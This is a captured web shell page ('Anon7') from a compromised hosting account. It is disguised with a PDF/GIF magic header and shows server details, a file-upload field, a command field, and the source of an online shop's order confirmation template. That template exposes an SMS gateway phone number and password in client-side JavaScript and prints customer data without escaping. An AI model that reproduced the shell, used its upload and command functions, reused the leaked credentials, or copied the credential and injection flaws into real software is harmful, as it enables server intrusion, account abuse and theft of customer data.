%PDF-1.7 GIF89;
ANDA PELER
Server IP : 5.161.254.237  /  Your IP : 216.73.216.164
Web Server : Apache
System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : stellasp ( 1131)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/stellasp/public_html/application/themes/default/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/stellasp/public_html/application/themes/default/views/order_placed.php
<?php include('header.php'); ?>

<script type="text/javascript">
	$(document).ready(function(){
		$('.customer_info_box').equalHeights();
		
	});


function send_sms(mobile)
{
 $.ajax({
  type: "GET",
  dataType: "xml",
  url: "https://telenorcsms.com.pk:27677/corporate_sms2/api/auth.jsp?msisdn=923454663399&password=4512",
  success: function(xml){
  var code= $(xml).find("data").html();
  het_sms(code, mobile);
  }
 });
}

function het_sms(code, mobile)
{
 $.ajax({
  type: "GET",
  dataType: "xml",
  url: "https://telenorcsms.com.pk:27677/corporate_sms2/api/sendsms.jsp",
  data: {
      format: 'json',
      session_id:code,
      to: mobile,
      text:'Thanks for placing order with CA Sports. We have received your order detail and our customer representive will contact you shortly',
      mask:'CA SPORTS'

   },
  success: function(xml){
  var code= $(xml).find("data").html();
 
  }
 });
}
</script>

<div class="buynow-main-container">
  <div class="container">
    <div class="buynow-content-container clearfix">
    
    <div class="email-wraper">
        <div class="title">
          <h4><strong><?php echo lang('order_number');?>:</strong> <?php echo $order_id;?></h4>
          </div>
        <!-- title -->
          <div class="email-content clearfix">
            <div class="col-sm-12 col-md-12">
            <?php
		// content defined in canned messages
	 echo $download_section ?>
     
     <div class="customer_info_box">
	<h3><?php echo lang('account_information');?></h3>
	<strong><?php echo (!empty($customer['company']))?$customer['company'].'<br>':'';?>
	<?php echo $customer['firstname'];?> <?php echo $customer['lastname'];?></strong> <br/>
	<?php echo $customer['email'];?> <br/>
	<?php echo $customer['phone'];?>
</div>

<?php
$ship = $customer['ship_address'];
$bill = $customer['bill_address'];
?>

<div class="customer_info_box">
	<h3><?php echo ($ship != $bill)?'Shipping Information':'Billing &amp; Shipping Information';?></h3>
	<strong><?php echo (!empty($ship['company']))?$ship['company'].'<br/>':'';?>
	<?php echo $ship['firstname'].' '.$ship['lastname'];?> <br/>
	<?php echo $ship['address1'];?><br>
	<?php echo (!empty($ship['address2']))?$ship['address2'].'<br/>':'';?>
	<?php echo $ship['city'].', '.$ship['zone'].' '.$ship['zip'];?></strong><br/>
	
	<?php echo $ship['email'];?><br/>
	<?php echo $ship['phone'];?><br/>
</div>
<script type="text/javascript">
	$(document).ready(function(){
		send_sms(<?php echo $ship['phone'];?>);
	});
</script>
<?php if($ship != $bill):?>
<div class="customer_info_box">
	<h3><?php echo lang('billing_information');?></h3>
	<strong><?php echo (!empty($bill['company']))?$bill['company'].'<br/>':'';?>
	<?php echo $bill['firstname'].' '.$bill['lastname'];?> <br/>
	<?php echo $bill['address1'];?><br>
	<?php echo (!empty($bill['address2']))?$bill['address2'].'<br/>':'';?>
	<?php echo $bill['city'].', '.$bill['zone'].' '.$bill['zip'];?></strong><br/>
	
	<?php echo $bill['email'];?><br/>
	<?php echo $bill['phone'];?>
</div>
<?php endif;?>

<div class="customer_info_box">
	<h3><?php echo lang('payment_information');?></h3>
	<?php echo $payment['description']; ?><br/>
	<h3 style="padding-top:10px;"><?php echo lang('shipping_method');?></h3>
	<?php echo $shipping['method']; ?>
</div>

<div class="customer_info_box">
	<h3><?php echo lang('additional_details');?></h3>
	<?php
	extract($additional_details);
	
	
	if(!empty($referral)):?><div style="margin-top:10px;"><strong><?php echo lang('heard_about');?></strong> <?php echo $referral;?></div><?php endif;?>
	<?php if(!empty($shipping_notes)):?><div style="margin-top:10px;"><strong><?php echo lang('shipping_instructions');?></strong> <?php echo $shipping_notes;?></div><?php endif;?>
		
</div>
   </div>
        </div>
            </div>

<div class="order-summary">
<div class="order-contents">

<h4 class="page-header">Your Order</h4>


<section class="add-basket-main-wraper">
  <div class="container">
  <div class="row">
<div class="col-md-8">
    <div class="add-basket-contents clearfix">
    
    <?php
		$subtotal = 0;
		
		foreach ($this->go_cart->contents() as $cartkey=>$product):?>
             
      <div class="basket-contents clearfix">
                <span class="closebtn"></span>
                <div class="col-md-3 col-sm-5">
        		
                 <?php
									
				 $primary = '';
                 $photo_url ="<?php echo base_url('images/nopicture.png'); ?>";
				 $photo_file="";
				 $product_images = array_values((array)json_decode($product["images"]));
				   
				 
				   foreach ($product_images as $photos) {
					   
					
					if(isset($photos->primary))
					{
						
						
						$photo_file = $photos->filename;
					}
							 
					   
				   }
				   	$photo_url = base_url('uploads/images/medium/'.$product["product_color"]);
                      
						?>
                        
                  <img src="<?=$photo_url?>" alt="" class="img-responsive" />
                </div>
                <div class="col-md-8 col-sm-9">
                  <div class="basket-detial">
                    

                    <h4><?php echo $product['name']; ?></h4>
                    
                    <strong><span>Price: <?php echo format_currency($product['base_price']);?>*<?php echo $product['quantity'] ?> = </span> <?php echo format_currency($product['price']*$product['quantity']); ?></strong>
                    <p>SKU:  <?php echo $product['sku'];?></p>
                    <p><?php echo $product['excerpt'];?></p>
                    <?php
					if(isset($product['options'])) {
						foreach ($product['options'] as $name=>$value)
						{
							if(is_array($value))
							{
								echo '<p>'.$name.':<br/>';
								foreach($value as $item)
									echo '- '.$item.'<br/>';
								echo '</p>';
							} 
							else 
							{
								echo '<p>'.$name.': '.$value.'</p>';
							}
						}
					}
					?>

                 
                 
                  </div>
                </div>
          </div><!-- basket contents -->
          <?php endforeach; ?>

   </div>
    </div>
<!-- col md 9 -->


<div class="col-md-3">
<div class="basket-total-price">
<?php if($this->go_cart->group_discount() > 0)  : ?> 
<strong><?php echo lang('group_discount');?></strong>
<strong class="text-right"><span ><?php echo format_currency(0-$this->go_cart->group_discount()); ?></span></strong>
<?php endif; ?>

<strong><?php echo lang('subtotal');?></strong>
<strong class="text-right"><span ><?php echo format_currency($this->go_cart->subtotal()); ?></span></strong>

 <?php if($this->go_cart->coupon_discount() > 0)  : ?> 
      <strong> <?php echo lang('coupon_discount');?></strong>
<strong class="text-right"><span ><?php echo format_currency(0-$this->go_cart->coupon_discount()); ?></span></strong>
			
<?php if($this->go_cart->order_tax() != 0) : // Only show a discount subtotal if we still have taxes to add (to show what the tax is calculated from) ?> 
<strong><?php echo lang('discounted_subtotal');?></td>
<strong class="text-right"><span ><?php echo format_currency($this->go_cart->discounted_subtotal()); ?> 
</span></strong>

           <?php endif;
           
           endif; 
		   
		   ?>
           
               <?php
          
           // Custom Charges
           $charges = $this->go_cart->get_custom_charges();
			if(!empty($charges))
			{
				foreach($charges as $name=>$price) : ?>
					
			<strong><?php echo $name?></strong>
                
			<strong class="text-right"><span ><?php echo format_currency($price); ?></span></strong>
			
					
			<?php endforeach;
			}
			
			?>
            
             <?php
           
            // Show shipping cost if added before taxes
			if($this->config->item('tax_shipping') && $this->go_cart->shipping_cost()>0) : ?>
				<strong><?php echo lang('shipping');?></strong>
            
	<strong class="text-right"><span ><?php echo format_currency($this->go_cart->shipping_cost()); ?>  </span></strong>
			<?php endif ?>

      
          <?php
           
            // Show shipping cost if added before taxes
			if($this->config->item('tax_shipping') && $this->go_cart->shipping_cost()>0) : ?>
				<strong><?php echo lang('shipping');?></strong>
                  
			<strong class="text-right"><span ><?php echo format_currency($this->go_cart->shipping_cost()); ?></span></strong>
			<?php endif ?>
            
            
           <?php if($this->go_cart->order_tax() != 0) : ?> 
         	<strong><?php echo lang('taxes');?></strong>
                  
                <strong class="text-right"><span ><?php echo format_currency($this->go_cart->order_tax()); ?></span></strong>
          <?php endif;   ?>
           <?php // Show shipping cost if added after taxes
			if(!$this->config->item('tax_shipping') && $this->go_cart->shipping_cost()>0) : ?>
				<strong><?php echo lang('shipping');?></strong>
                 
				<strong class="text-right"><span ><?php echo format_currency($this->go_cart->shipping_cost()); ?> </span></strong>
			<?php endif ?>
           <?php if($this->go_cart->gift_card_discount() != 0) : ?> 
         	<strong><?php echo lang('gift_card_discount');?></strong>
               
            	<strong class="text-right"><span ><?php echo format_currency(0-$this->go_cart->gift_card_discount()); ?> </span></strong>
          <?php endif;   ?>



</div>
 
</div>

        
      </div>
<!-- row -->

  </div>
</section>


<div class="basket-contents">


<div class="clear"></div> 
<div class="page-header"></div>


<div class="col-md-3">
	<input type="button" class="btn proced" onclick="window.location='<?php echo base_url();?>'" value="<?php echo lang('continue_shopping');?>"/>
</div>


<div class="col-md-7">
  <div class="total-saving">
  
</div>
</div>

<div class="col-md-2">
  <div class="buynow-totalprice">
  <p>Total: <strong> <?php echo format_currency($this->go_cart->total()); ?> </strong></p>
</div>
</div>

                </div><!-- basket contents -->


      </div>
</div>





    </div>
    <!-- buynow content container -->
  </div>
  <!-- container -->
</div>
<!-- buy now main -->
<?php include('footer.php');

Anon7 - 2022
SCDN GOK